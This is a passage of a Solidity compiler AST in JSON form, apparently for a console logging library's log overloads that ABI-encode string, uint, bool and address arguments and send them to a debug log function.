nternal"},{"constant":false,"id":19742,"mutability":"mutable","name":"p3","nameLocation":"34005:2:14","nodeType":"VariableDeclaration","scope":19757,"src":"34000:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":19741,"name":"bool","nodeType":"ElementaryTypeName","src":"34000:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"33954:54:14"},"returnParameters":{"id":19744,"nodeType":"ParameterList","parameters":[],"src":"34023:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":19780,"nodeType":"FunctionDefinition","src":"34134:192:14","nodes":[],"body":{"id":19779,"nodeType":"Block","src":"34218:108:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728737472696e672c737472696e672c75696e742c6164647265737329","id":19771,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"34268:33:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_5d4f46805293f3e84ba6dbfe353f76b3d1f1cfb2ff1e8024fb2adb45e2b7a128","typeString":"literal_string \"log(string,string,uint,address)\""},"value":"log(string,string,uint,address)"},{"id":19772,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":19759,"src":"34303:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":19773,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":19761,"src":"34307:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":19774,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":19763,"src":"34311:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":19775,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":19765,"src":"34315:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_5d4f46805293f3e84ba6dbfe353f76b3d1f1cfb2ff1e8024fb2adb45e2b7a128","typeString":"literal_string \"log(string,string,uint,address)\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":19769,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"34244:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":19770,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"34248:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"34244:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":19776,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"34244:74:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":19768,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"34228:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":19777,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"34228:91:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":19778,"nodeType":"ExpressionStatement","src":"34228:91:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"34143:3:14","parameters":{"id":19766,"nodeType":"ParameterList","parameters":[{"constant":false,"id":19759,"mutability":"mutable","name":"p0","nameLocation":"34161:2:14","nodeType":"VariableDeclaration","scope":19780,"src":"34147:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":19758,"name":"string","nodeType":"ElementaryTypeName","src":"34147:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":19761,"mutability":"mutable","name":"p1","nameLocation":"34179:2:14","nodeType":"VariableDeclaration","scope":19780,"src":"34165:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":19760,"name":"string","nodeType":"ElementaryTypeName","src":"34165:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":19763,"mutability":"mutable","name":"p2","nameLocation":"34188:2:14","nodeType":"VariableDeclaration","scope":19780,"src":"34183:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":19762,"name":"uint","nodeType":"ElementaryTypeName","src":"34183:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":19765,"mutability":"mutable","name":"p3","nameLocation":"34200:2:14","nodeType":"VariableDeclaration","scope":19780,"src":"34192:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":19764,"name":"address","nodeType":"ElementaryTypeName","src":"34192:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"34146:57:14"},"returnParameters":{"id":19767,"nodeType":"ParameterList","parameters":[],"src":"34218:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":19803,"nodeType":"FunctionDefinition","src":"34332:197:14","nodes":[],"body":{"id":19802,"nodeType":"Block","src":"34422:107:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728737472696e672c737472696e672c737472696e672c75696e7429","id":19794,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"34472:32:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_9fd009f5f31a16d665d9be327a4a2b17dc428108ae31e46ab875e747b5ee155f","typeString":"literal_string \"log(string,string,string,uint)\""},"value":"log(string,string,string,uint)"},{"id":19795,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":19782,"src":"34506:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":19796,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":19784,"src":"34510:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":19797,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":19786,"src":"34514:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":19798,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":19788,"src":"34518:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_9fd009f5f31a16d665d9be327a4a2b17dc428108ae31e46ab875e747b5ee155f","typeString":"literal_string \"log(string,string,string,uint)\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":19792,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"34448:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":19793,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"34452:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"34448:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":19799,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"34448:73:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":19791,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"34432:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":19800,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"34432:90:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":19801,"nodeType":"ExpressionStatement","src":"34432:90:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"34341:3:14","parameters":{"id":19789,"nodeType":"ParameterList","parameters":[{"constant":false,"id":19782,"mutability":"mutable","name":"p0","nameLocation":"34359:2:14","nodeType":"VariableDeclaration","scope":19803,"src":"34345:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":19781,"name":"string","nodeType":"ElementaryTypeName","src":"34345:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":19784,"mutability":"mutable","name":"p1","nameLocation":"34377:2:14","nodeType":"VariableDeclaration","scope":19803,"src":"34363:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":19783,"name":"string","nodeType":"ElementaryTypeName","src":"34363:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":19786,"mutability":"mutable","name":"p2","nameLocation":"34395:2:14","nodeType":"VariableDeclaration","scope":19803,"src":"34381:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":19785,"name":"string","nodeType":"ElementaryTypeName","src":"34381:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":19788,"mutability":"mutable","name":"p3","nameLocation":"34404:2:14","nodeType":"VariableDeclaration","scope":19803,"src":"34399:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":19787,"name":"uint","nodeType":"ElementaryTypeName","src":"34399:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"34344:63:14"},"returnParameters":{"id":19790,"nodeType":"ParameterList","parameters":[],"src":"34422:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":19826,"nodeType":"FunctionDefinition","src":"34535:208:14","nodes":[],"body":{"id":19825,"nodeType":"Block","src":"34634:109:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728737472696e672c737472696e672c737472696e672c737472696e6729","id":19817,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"34684:34:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_de68f20a8e88f68d54c5aa294860ee37b58680632686e2f1101e4e042a2cbcbe","typeString":"literal_string \"log(string,string,string,string)\""},"value":"log(string,string,string,string)"},{"id":19818,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":19805,"src":"34720:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":19819,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":19807,"src":"34724:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":19820,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":19809,"src":"34728:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":19821,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":19811,"src":"34732:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_de68f20a8e88f68d54c5aa294860ee37b58680632686e2f1101e4e042a2cbcbe","typeString":"literal_string \"log(string,string,string,string)\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":19815,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"34660:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":19816,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"34664:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"34660:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":19822,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"34660:75:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":19814,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"34644:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":19823,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"34644:92:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":19824,"nodeType":"ExpressionStatement","src":"34644:92:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"34544:3:14","parameters":{"id":19812,"nodeType":"ParameterList","parameters":[{"constant":false,"id":19805,"mutability":"mutable","name":"p0","nameLocation":"34562:2:14","nodeType":"VariableDeclaration","scope":19826,"src":"34548:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":19804,"name":"string","nodeType":"ElementaryTypeName","src":"34548:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":19807,"mutability":"mutable","name":"p1","nameLocation":"34580:2:14","nodeType":"VariableDeclaration","scope":19826,"src":"34566:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":19806,"name":"string","nodeType":"ElementaryTypeName","src":"34566:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":19809,"mutability":"mutable","name":"p2","nameLocation":"34598:2:14","nodeType":"VariableDeclaration","scope":19826,"src":"34584:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":19808,"name":"string","nodeType":"ElementaryTypeName","src":"34584:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":19811,"mutability":"mutable","name":"p3","nameLocation":"34616:2:14","nodeType":"VariableDeclaration","scope":19826,"src":"34602:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":19810,"name":"string","nodeType":"ElementaryTypeName","src":"34602:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"34547:72:14"},"returnParameters":{"id":19813,"nodeType":"ParameterList","parameters":[],"src":"34634:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":19849,"nodeType":"FunctionDefinition","src":"34749:197:14","nodes":[],"body":{"id":19848,"nodeType":"Block","src":"34839:107:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728737472696e672c737472696e672c737472696e672c626f6f6c29","id":19840,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"34889:32:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_2c1754ed9d3bc50669c3e71e3115dc4403f3cff35aa9b6b58799f80b5496f332","typeString":"literal_string \"log(string,string,string,bool)\""},"value":"log(string,string,string,bool)"},{"id":19841,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":19828,"src":"34923:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":19842,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":19830,"src":"34927:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":19843,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":19832,"src":"34931:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":19844,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":19834,"src":"34935:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_2c1754ed9d3bc50669c3e71e3115dc4403f3cff35aa9b6b58799f80b5496f332","typeString":"literal_string \"log(string,string,string,bool)\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":19838,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"34865:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":19839,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"34869:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"34865:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":19845,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"34865:73:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":19837,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"34849:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":19846,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"34849:90:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":19847,"nodeType":"ExpressionStatement","src":"34849:90:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"34758:3:14","parameters":{"id":19835,"nodeType":"ParameterList","parameters":[{"constant":false,"id":19828,"mutability":"mutable","name":"p0","nameLocation":"34776:2:14","nodeType":"VariableDeclaration","scope":19849,"src":"34762:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":19827,"name":"string","nodeType":"ElementaryTypeName","src":"34762:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":19830,"mutability":"mutable","name":"p1","nameLocation":"34794:2:14","nodeType":"VariableDeclaration","scope":19849,"src":"34780:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":19829,"name":"string","nodeType":"ElementaryTypeName","src":"34780:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":19832,"mutability":"mutable","name":"p2","nameLocation":"34812:2:14","nodeType":"VariableDeclaration","scope":19849,"src":"34798:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":19831,"name":"string","nodeType":"ElementaryTypeName","src":"34798:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":19834,"mutability":"mutable","name":"p3","nameLocation":"34821:2:14","nodeType":"VariableDeclaration","scope":19849,"src":"34816:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":19833,"name":"bool","nodeType":"ElementaryTypeName","src":"34816:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"34761:63:14"},"returnParameters":{"id":19836,"nodeType":"ParameterList","parameters":[],"src":"34839:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":19872,"nodeType":"FunctionDefinition","src":"34952:203:14","nodes":[],"body":{"id":19871,"nodeType":"Block","src":"35045:110:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728737472696e672c737472696e672c737472696e672c6164647265737329","id":19863,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"35095:35:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_6d572f449cf1e446ea3ace51a34ce30628f4f1588a39dc5d550cefb210c5bb16","typeString":"literal_string \"log(string,string,string,address)\""},"value":"log(string,string,string,address)"},{"id":19864,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":19851,"src":"35132:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":19865,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":19853,"src":"35136:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":19866,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":19855,"src":"35140:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":19867,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":19857,"src":"35144:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_6d572f449cf1e446ea3ace51a34ce30628f4f1588a39dc5d550cefb210c5bb16","typeString":"literal_string \"log(string,string,string,address)\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":19861,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"35071:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":19862,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"35075:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"35071:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":19868,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"35071:76:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":19860,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"35055:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":19869,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"35055:93:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":19870,"nodeType":"ExpressionStatement","src":"35055:93:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"34961:3:14","parameters":{"id":19858,"nodeType":"ParameterList","parameters":[{"constant":false,"id":19851,"mutability":"mutable","name":"p0","nameLocation":"34979:2:14","nodeType":"VariableDeclaration","scope":19872,"src":"34965:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":19850,"name":"string","nodeType":"ElementaryTypeName","src":"34965:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":19853,"mutability":"mutable","name":"p1","nameLocation":"34997:2:14","nodeType":"VariableDeclaration","scope":19872,"src":"34983:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":19852,"name":"string","nodeType":"ElementaryTypeName","src":"34983:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":19855,"mutability":"mutable","name":"p2","nameLocation":"35015:2:14","nodeType":"VariableDeclaration","scope":19872,"src":"35001:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":19854,"name":"string","nodeType":"ElementaryTypeName","src":"35001:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":19857,"mutability":"mutable","name":"p3","nameLocation":"35027:2:14","nodeType":"VariableDeclaration","scope":19872,"src":"35019:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":19856,"name":"address","nodeType":"ElementaryTypeName","src":"35019:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"34964:66:14"},"returnParameters":{"id":19859,"nodeType":"ParameterList","parameters":[],"src":"35045:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":19895,"nodeType":"FunctionDefinition","src":"35161:186:14","nodes":[],"body":{"id":19894,"nodeType":"Block","src":"35242:105:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728737472696e672c737472696e672c626f6f6c2c75696e7429","id":19886,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"35292:30:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_86818a7aa9bc994aa800ce554e865f0047fd8aaa8799a458e8fea2db0986c5c1","typeString":"literal_string \"log(string,string,bool,uint)\""},"value":"log(string,string,bool,uint)"},{"id":19887,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":19874,"src":"35324:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":19888,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":19876,"src":"35328:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":19889,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":19878,"src":"35332:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":19890,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":19880,"src":"35336:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_86818a7aa9bc994aa800ce554e865f0047fd8aaa8799a458e8fea2db0986c5c1","typeString":"literal_string 